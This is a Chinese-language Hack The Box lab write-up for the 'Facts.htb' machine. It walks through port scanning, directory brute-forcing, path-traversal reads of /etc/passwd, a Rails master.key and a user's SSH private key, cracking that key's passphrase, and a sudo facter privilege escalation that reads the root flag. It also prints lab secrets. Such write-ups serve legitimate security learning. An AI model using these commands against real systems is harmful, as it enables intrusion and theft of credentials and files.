HTB 靶机渗透攻略:Facts.htb
从信息收集到 Root 权限的完整攻击链解析
攻击链总结
- 端口扫描→ 发现 Web 应用 (80) 和 MinIO (54321)
- Web 指纹→ 识别 Camaleon CMS 2.9.0
- 目录爆破→ 发现后台注册、登录、Media 管理
- 权限获取→ 注册普通用户进入后台
- 漏洞利用→ 利用路径遍历 (CVE-2026-1776) 读取敏感文件
- 密钥获取→ 读取 master.key 和加密凭据,尝试解密失败
- 密钥生成→ 读取数据库 admin 哈希,破解失败
- 密钥突破→ 读取用户私钥,破解密码 “dragonballz”
- 初始访问→ SSH 登录 trivia 用户
- 提权→ sudo facter 加载恶意 Ruby 文件读取 root flag
1. 初始侦察:端口与服务发现
首先对目标 IP10.129.244.96进行全端口 TCP SYN 扫描,获取开放端口:
nmap -p-65535 -T4 --min-rate=1000 -sS -Pn 10.129.244.96结果:
22/tcp— OpenSSH (Ubuntu)80/tcp— HTTP (nginx 1.26.3)54321/tcp— 未知服务 (后续识别为 MinIO)
关键决策:端口 54321 是一个非标准端口,后续单独扫描版本信息。
2. Web 应用指纹识别与路径暴力破解
访问http://facts.htb发现是一个名为 “facts” 的网站,响应头中有_factsapp_session,页面引用了camaleon_first主题和/assets/camaleon_cms/...路径,初步判断为Camaleon CMS(Ruby on Rails 应用)。
添加域名解析后,使用 gobuster 进行目录爆破:
gobuster dir -u http://facts.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html,js,css -t 50发现关键路径:
/admin→ 302 重定向到/admin/login/admin/register→ 注册页面/admin/media→ 文件管理器/search→ 搜索功能/ajax→ AJAX 接口/up→ 健康检查端点
线索关联:Camaleon CMS 历史上存在文件上传和路径遍历漏洞,为后续突破奠定基础。
3. 注册账户进入后台与版本确认
访问/admin/register创建账户testuser123 / Test1234!,成功登录后台,在 Dashboard 底部发现版本信息:Camaleon CMS 2.9.0。
浏览后台功能,发现Media 管理中存在文件上传功能,但上传 PHP 文件时被拦截:File format not allowed (image)。
尝试上传 .pht、.phtml、图片马等均失败,或服务器返回 500 错误,上传的图片马在/randomfacts/shell.png可访问但不解析 PHP。
阻塞点:直接上传 webshell 这条路被堵死,需要寻找其他攻击面。
4. 发现 MinIO 服务并尝试匿名写入
对端口 54321 进行服务版本探测:
nmap -sV -p 54321 10.129.244.96识别为MinIO对象存储服务器。进一步测试发现:
- 访问
/randomfacts/返回 XML 存储桶列表 → 允许匿名读取 - 使用 PUT 请求上传测试文件成功 → 允许匿名写入
curl -v -X PUT http://10.129.244.96:54321/randomfacts/test_upload.php -d @/tmp/test_upload.php返回 200 OK,且文件出现在存储桶列表中。但通过 Web 访问该文件时,PHP 代码未被解析,仅作为文本显示。
关键点:MinIO 匿名读写权限存在,但存储桶目录不执行 PHP,需要寻找其他方式获取代码执行或凭据。
5. 利用路径遍历漏洞(任意文件读取)
根据 Camaleon CMS 2.9.0 已知漏洞,后台/admin/media/download_private_file端点存在路径遍历,允许已认证用户读取任意系统文件。
成功读取/etc/passwd,确认漏洞存在:
http://facts.htb/admin/media/download_private_file?file=../../../etc/passwd此漏洞成为后续信息收集的**核心手段**。
6. 获取 Rails 应用敏感文件
利用路径遍历,读取 Rails 应用根目录下的关键文件:
- Puma 配置:
../../../proc/self/cwd/config/puma.rb→ 确认应用路径 - master.key:
../../../proc/self/cwd/config/master.key→ 获取解密凭据的主密钥b0650437b2208a9fab449fb92f67bc40 - credentials.yml.enc:加密的凭据文件
- database.yml:确认使用 SQLite3,数据库路径
storage/production.sqlite3 - Gemfile.lock:确认 Rails 版本 (8.0.2.1) 及 activesupport 版本
尝试多种方式解密凭据文件均失败(mismatched digest),暂时搁置。
7. 提取数据库并破解管理员哈希(失败)
下载生产数据库:
http://facts.htb/admin/media/download_private_file?file=../../../proc/self/cwd/storage/production.sqlite3用 sqlite3 查询用户表,得到 admin 用户的 bcrypt 哈希:$2a$12$9lLBXaBzcTxohKjxX08aR.WmE7qyhwpl0NGGBLbKDi6t.PB5zdJcK
使用 hashcat / john 破解速度极慢,放弃此路。
8. 获取加密 SSH 私钥并破解密码
通过路径遍历读取 SSH 配置文件/etc/ssh/sshd_config,确认允许公钥认证。
尝试读取用户trivia的私钥:
http://facts.htb/admin/media/download_private_file?file=../../../home/trivia/.ssh/id_ed25519成功获取加密的 OpenSSH 私钥。使用 ssh2john 提取哈希并破解:
ssh2john id_ed25519_trivia > trivia.hash john --wordlist=/usr/share/wordlists/rockyou.txt --rules trivia.hash几分钟后破解出密码:dragonballz
9. SSH 登录获得初始 Shell
ssh -i id_ed25519_trivia trivia@facts.htb Enter passphrase for key: dragonballz成功以trivia用户登录,用户组为trivia。
10. 本地提权 (root)
执行sudo -l发现关键信息:
User trivia may run the following commands on facts: (ALL) NOPASSWD: /usr/bin/facterfacter是 Puppet 的系统信息收集工具,支持加载自定义 Ruby 事实文件。利用此功能读取 root flag:
mkdir -p /tmp/facts cat > /tmp/facts/root_flag.rb << 'EOF' Facter.add('root_flag') do setcode do File.read('/root/root.txt').strip end end EOF sudo /usr/bin/facter --custom-dir /tmp/facts root_flag输出 root flag。
11. 获取 Flag
92ca4cf1425d687fc3feba97d5ff9b79
